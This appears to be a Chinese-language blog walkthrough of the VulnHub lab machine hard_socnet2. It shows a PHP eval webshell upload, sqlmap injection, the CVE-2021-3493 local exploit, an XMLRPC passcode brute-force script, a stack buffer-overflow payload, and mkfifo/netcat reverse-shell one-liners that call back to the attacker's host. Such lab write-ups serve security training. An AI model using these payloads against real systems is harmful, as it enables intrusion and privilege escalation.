打靶记录5——靶机hard_socnet2

avatar
作者
猴君
阅读量:0

靶机:

https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova 

目标:

  • 取得root权限

涉及攻击方法

  • 主机发现
  • 端口扫描
  • SQL注入
  • 文件上传
  • 蚁剑上线
  • XMLRPC命令执行
  • 逆向工程
  • 动态调试
  • 漏洞利用代码编写

方法

  1. CVE-2021-3493
  2. 缓冲器溢出漏洞

学习目标

  • 希望通过今天学习的内容,把自己渗透攻击的视野打开,不要仅仅局限在Web层面上,Web渗透只是其中的一个方面,0day的话必须要掌握缓冲区溢出或者堆溢出这样的一些方法

排错

无法启动靶机,搜索VirtualBox靶机启动失败:end Kernel panic - not syncing: Attempted to kill the idle task
image.png
解决:在虚拟机 “设置” -> “系统” -> “处理器” 中将处理器数设置为2个或以上。
参考链接:

靶机和Kali都桥接了还是没有IP就检查桥接的WiFi网卡的网段,和自己靶机、Kali设置的是否在同一个网段,检查了一个小时才发现>_<
image.png
靶机修改成这样,不要address了就可以了,ip a是什么就是什么,不用管ens33,偷来的图,懒得再截图了
image.png

主机发现

arp-scan -l 

image.png
发现 192.168.31.131 就是靶机地址

端口扫描和服务发现

nmap -p- 192.168.31.131 

全端口扫描
image.png
开了22、80、和8000端口

nmap -sV 192.168.31.131 

查看服务
image.png
80端口可以正常访问
image.png
访问8000端口,发现GET方式不能访问,尝试POST、Options、PUT等方法都不行
image.png
image.png
先展示搁置,看看80端口的Web界面吧
image.png
有登陆界面也有注册页面,我们可以注册一个进去看看里面有什么功能可以利用,在真实渗透过程中建议注册虚假信息,否则可能被蓝队溯源找到就扣分了
image.png
admin账号说他运行了一个monitor.py文件,后续或许可以利用
image.png
我们随便输入的东西被放在了网站上
image.png

文件上传漏洞

Profile处可以在头像那里进行漏洞测试
image.png
我们尝试上传一个Webshell.php上去
image.png

<?php     eval($_POST['ant']); ?> 

点击Upload Image上传,成功上传上去了,服务器并没有做任何过滤
image.png
右键图片复制图片的URL路径进行访问,浏览器成功解析

http://192.168.31.131/data/images/profiles/3.php 

image.png
下载蚁剑Linux版

image.png
打开虚拟终端获得shell
image.png
image.png

SQL注入漏洞

在搜索框输入单引号或者双引号出现SQL报错,说明存在SQL注入漏洞
image.png
接下来拿出强大的Sqlmap,一把梭
先把数据包保存为一个文件 row
image.png
image.png

sqlmap -r row -p query 
  • -r 指定数据包
  • -p 指定参数

image.png
爆库名

sqlmap -r row -p query --dbs 

image.png
爆表名

sqlmap -r row -p query -D socialnetwork --tables 

image.png
爆列名

sqlmap -r row -p query -D socialnetwork -T users --columns 

image.png
获取用户邮箱账号和登录密码,在注入的过程中选择sqlmaphash爆破功能爆破密码
image.png
登录admin账号后也没发现其他漏洞,还是文件上传漏洞,和前面没有区别

提权

方法一:CVE-2021-3493

直接在靶机上编译运行exp即可获得root的shell

  • gcc exploit.c -o exp
  • ./exp

信息收集:

lsb_release -a 

image.png
利用蚁剑的文件上传功能将 exp.c 上传到 /tmp 目录下
image.png
image.png
通过蚁剑获取的shell不太行,所以我们再次通过nc获得一个功能全面一点的shell,
这台靶机上的 nc 没有 -e 参数,
可以用nc串联的方法,也可以用另外一种方法,参考博客:Vulnhub打靶记录:hard_socnet2 - C_CHL - 博客园 (cnblogs.com)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 4444 >/tmp/f  
  • rm /tmp/f: 这条命令尝试删除 /tmp/f 文件。如果该文件存在,它将被删除。这是为了确保后续的命令正常工作。
  • mkfifo /tmp/f: 这条命令创建了一个名为 /tmp/f 的命名管道(named pipe)。命名管道可以用作进程间通信的通道。
  • cat /tmp/f|/bin/bash -i 2>&1: 这条命令使用 cat 命令读取来自 /tmp/f 的输入,并将其作为输入提供给 /bin/bash(Bash shell)。通过 -i 参数,Bash shell以交互模式启动,允许用户与其进行交互。
  • nc 1.0.0.3 4444 >/tmp/f: 这条命令使用 nc 命令(netcat)建立到 IP 地址为 1.0.0.3、端口号为 4444 的远程主机的网络连接。然后,它将所有网络连接的输入重定向到 /tmp/f 文件中。从而和cat /tmp/f|/bin/bash -i 2>&1/tmp/f形成一个回路,实现交互的作用。
mkfifo(make FIFO)不是一个函数,而是一个命令行工具。它用于在Linux和其他类Unix操作系统中创建FIFO(First-In, First-Out)命名管道。 FIFO是一种特殊类型的文件,用于实现进程间通信(IPC),其中数据按照写入的顺序被读取。FIFO提供了一种无关的进程通信方式,可以被多个进程同时读取和写入。 

image.png
成功获取root权限
image.png

方法二:缓冲器溢出漏洞

回到www用户,查看有什么用户

cat /etc/passwd 

发现socnet用户是有/bin/bash
image.png
cd 到 /home/socnet目录下
image.png

  • peda:为GDB设计的一个强大的插件
  • add_record:一个交互程序,根据你对问题的回答生成一个 .txt文件。
  • monitor.py:就是我们刚刚在后台看到的 admin用户上传的一个监控脚本。下面为官方文档链接和部分代码的审计

xmlrpc — XMLRPC 服务端与客户端模块 — Python 3.12.4 文档

ps aux | grep monitor 

发现monitor.py确实在运行中
image.png
cat 一下 monitor.py
原来代码只接受XMLRPC的请求方式,怪不得前面的GET方式不行

# 导入简单的XML-RPC服务器模块 import SimpleXMLRPCServer import subprocess import random  # 生成一个随机的调试密码 debugging_pass = random.randint(1000,9999)  # 函数:运行系统命令并返回输出 def runcmd(cmd):     # 执行系统命令,并捕获输出和错误信息     results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)     output = results.stdout.read() + results.stderr.read()     return output  # 函数:获取CPU信息 def cpu():     return runcmd("cat /proc/cpuinfo")  # 函数:获取内存信息 def mem():     return runcmd("free -m")  # 函数:获取磁盘使用情况 def disk():     return runcmd("df -h")  # 函数:获取网络接口信息 def net():     return runcmd("ip a")  # 函数:安全执行系统命令(需要正确的调试密码) def secure_cmd(cmd, passcode):     if passcode == debugging_pass:         return runcmd(cmd)     else:         return "Wrong passcode."  # 创建一个XML-RPC服务器,监听在所有网络接口的8000端口 server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) # 注册函数到XML-RPC服务器 server.register_function(cpu) server.register_function(mem) server.register_function(disk) server.register_function(net) server.register_function(secure_cmd)  # 开始运行XML-RPC服务器,接受和处理来自客户端的请求 server.serve_forever()  

image.png
我们需要爆破出debugging_pass,才能执行secure_cmd()函数,因为只有这个函数的参数可控
爆破代码(URL记得加端口>_<):

import xmlrpc.client  with xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:     for p in range(1000,10000):         r = str(proxy.secure_cmd('whoami', p))         if not "Wrong" in r:             print(p)             print(r)             break 

image.png

反弹Shell

import xmlrpc.client  with xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:     cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 5555 >/tmp/f "     r = str(proxy.secure_cmd(cmd, 5038 ))     print(r)  

image.png
image.png
成功获得了socnet@socnet2:~账号的Shell,为了更具有交互性,使用python升级一下Shell

python -c "import pty; pty.spawn('/bin/bash')" 

image.png
先看一下文件,发现具有suidsgid权限,所以猜测作者是要我们通过这个文件的漏洞来提权

file add_record 

image.png
运行add_record会在当前目录生成一个.txt文件

  • python peda 是一个基于python的gdb的调试脚本,通过这个脚本可以以一种比较友好、比较直观的方式来对应用程序进行gdb动态调试

有gdb,所以可能存在内存溢出的漏洞
可能可以发现应用中存在的内存溢出或者堆溢出漏洞,进而利用漏洞来实现本地的提权
gdb -q参数,安静模式运行
r让程序真正运行起来
image.png
在做内存溢出相应的测试的时候,通常业界会有一个习惯,通常测试时向每一个提交位置输入大量的字母A去测试,监视内存的变化,如果该变量存在缓冲区溢出漏洞导致了内存溢出,覆盖到了其他的寄存器位置的话,那么就可以判断其他寄存器位置里面的数据是否都是A,通过结果迹象来判断我们注入的数据是否成功的溢出到了其他的寄存器里面,进而通过进一步的探测去修改这些寄存器里面的具体位置的具体值,进而实现最终的代码加载执行

python3 -c "print('A'*100)" 

image.png
Explain:处输入A产生了溢出
image.png
在缓冲器溢出漏洞里,我们主要注意EIP这个寄存器,因为EIP寄存器当中保存的数据是CPU接下来要去运行的下一条指令的内存地址的编号
image.png
我们不知道是哪几个A的话,通过pattern create 100来生成一个特征字符串(这里面每四个字符都是唯一的),然后再运行程序,输入特征字符
image.png
然后用pattern search来找出 EIP 寄存器的位置,看到前62位之后是EIP,那么EIP就是第63位开始的
image.png
然后通过python3 -c "print('A' * 62 + 'BCDE')"生成字符串
image.png
再次运行程序,输入字符串
image.png
说明我们的计算的正确的,并且确定该程序存在缓冲区溢出漏洞。

查看汇编代码

disas main 

image.png

  • call:在汇编代码中表示程序即将调用的函数
  • push:用于将地址压入到栈中
  • fopen@plt:是一个函数符号,它是一个指向函数的指针用来打开一个文件。当程序调用fopen时,它实际上调用了fopen@plt。这是因为在动态链接库中,函数的地址是在运行时解析的,而不是在编译时解析的。@plt是一个过程链接表(PLT)项,它是动态链接器用来解析函数地址的一部分,也就是说函数后面有 @plt的基本就是系统自带的库函数。

我们可以下断点调试,输入break *0x08048728r继续运行,s单步执行,每次只执行一个CPU的指令,del 1可以删除断点,c可以让程序继续执行
image.png
发现vuln函数后面没有plt,说明它不是系统内嵌的函数,而是软件开发者自己写的函数,很可疑
image.png
输入info func查看应用都有哪些函数
image.png

  • system@plt:system函数在汇编语言中的作用是来执行一些操作系统指令,有点类似于php语言里面的exec
  • setuid@plt:接受一个参数 uid,表示要设置的用户ID,它会尝试将当前进程的有效用户ID设置为指定的值。和 add_reocrd具有 suid权限相呼应
通过这两个函数,可以大概猜测add_record这个小程序中是存在一些调用操作系统指令的功能 

查看一下vuln函数,输入disas vuln
image.png
在汇编代码中出现了 strcpy函数。这个函数是不对输入的长度进行限定的,会导致空间的溢出,由此我们基本可以判断出缓冲区漏洞的产生原因就是该函数 vuln中的 strcpy函数。
接下来查看backdoor函数,输入disas backdoor
image.png
代码看起来是请求到了suid的权限,然后去执行一下system操作系统的指令
在主程序当中会调用到vuln函数,而vuln又会调用系统内嵌的那个存在漏洞的函数strcpy,当输入一些特殊字符的时候就到导致缓冲区漏洞的出现
但是主函数里面没有调用backdoor函数,所以我们必须利用主程序里加载的vuln函数,通过对它进行缓冲器溢出漏洞,向EIP寄存器里面写入backdoor函数的起始内存加载地址,进而通过它的漏洞,让它去执行backdoor函数,让backdoor函数去执行suid函数、system函数,进而执行到system函数里要执行的操作系统的命令
我们看看能不能注入更多的payload,进而通过它实现本地提权的目标
image.png
发现BCDE是一个从左到右的顺序,但是从内存当中的十六进制数据0x45444342来讲的话,它的顺序是颠倒的(42就是B的ASCII编码,以此类推),专业术语来说就是CPU架构的大头和小头的概念
所以我们想把backdoor函数的的起始内存地址写入到EIP寄存器里面的话,就必须也按照颠倒的顺序来写入,否则的话那个地址没有办法正确的指向backdoor函数所在的内存地址
所以我们再次查看backdoor函数的内存地址,输入disas backdoor
image.png
为了将payload一次性输入到add_record小程序中,编写代码,前面的1是输入姓名,工作年限,薪资这些的,struct模块可以倒转十六进制

python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" 

image.png
然后在靶机里输出生成payload文件,先q退出gdb

python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" > payload 

image.png
然后我们再用gdb加载add_record小程序,运行gdb -q ./add_record,然后r < payload输入payload
image.png
提示产生了一个新的进程,进程ID26479,这个新的程序是/bin/dash,另外一个进程是产生了一个/bin/bash
image.png
我们可以cat一下payload,然后将它通过管道输出给./add_record

    • (横线)表示它cat出来的所有内容
cat payload - | ./add_record 

image.png
执行命令成功获得root权限
可以再执行一次反弹shell来获取一个交互性更好的Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 6666 >/tmp/f 

image.png
image.png

总结

  • 很多时候,我们在做像一下0day漏洞的挖掘,在执行缓冲器溢出漏洞发现的过程当中,都要执行大量动态的调试,去跟着大量的内存的变化,其实是非常枯燥的过程,所以在这个过程当中,我们可以使用一下比较自动化的工具。
  • 漏洞产生过程:因为主程序里有一个vuln函数,而这个函数是有漏洞的的,而这个漏洞是来自于strcpy这个内嵌的函数存在的一个缓冲区溢出漏洞,因为它调用了存在缓冲区溢出漏洞的函数,所以vuln函数也就存在缓冲区溢出漏洞,而由于我们在Explain:这个位置输入数据的时候,这个数据会导致vuln函数的缓冲区溢出漏洞被我们触发,从而改写EIP寄存器当中的具体地址,进而通过改写的地址将backdoor函数在内存当中的内存地址给它写入到EIP寄存器里,通过这种方法,通过vuln函数的漏洞弱点加载了backdoor函数,而backdoor函数调用了system这个系统命令,同时也调用了suid,请求了suid的权限,以这个程序属主的权限root来运行这个程序,而system函数最终请求CPU,执行/bin/bash这个操作系统的shell,从而利用这系列的漏洞,通过内存跟踪,查看分析汇编语言代码,最终找到了漏洞具体存在的位置,只要能够触发这个漏洞的执行,最终就会通过函数执行/bin/bash,而这个/bin/bash将是以root权限来执行的

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!